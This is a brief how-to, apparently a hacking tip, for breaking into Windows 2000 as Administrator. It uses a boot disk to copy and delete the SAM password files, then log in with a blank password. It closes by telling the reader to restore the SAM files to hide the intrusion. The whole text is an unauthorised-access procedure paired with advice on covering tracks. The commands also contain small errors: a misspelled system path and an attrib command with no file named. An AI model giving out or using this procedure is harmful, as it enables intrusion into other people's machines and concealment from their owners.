Get in windows 2000 as Administrator.

NOTE: Requires a boot disk.

Get the command prompt and go to
C:\winnt\sytem32\config\
and do the following commands:

• attrib -a -r -h
• copy sam.* a:\
• del Sam.*

reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.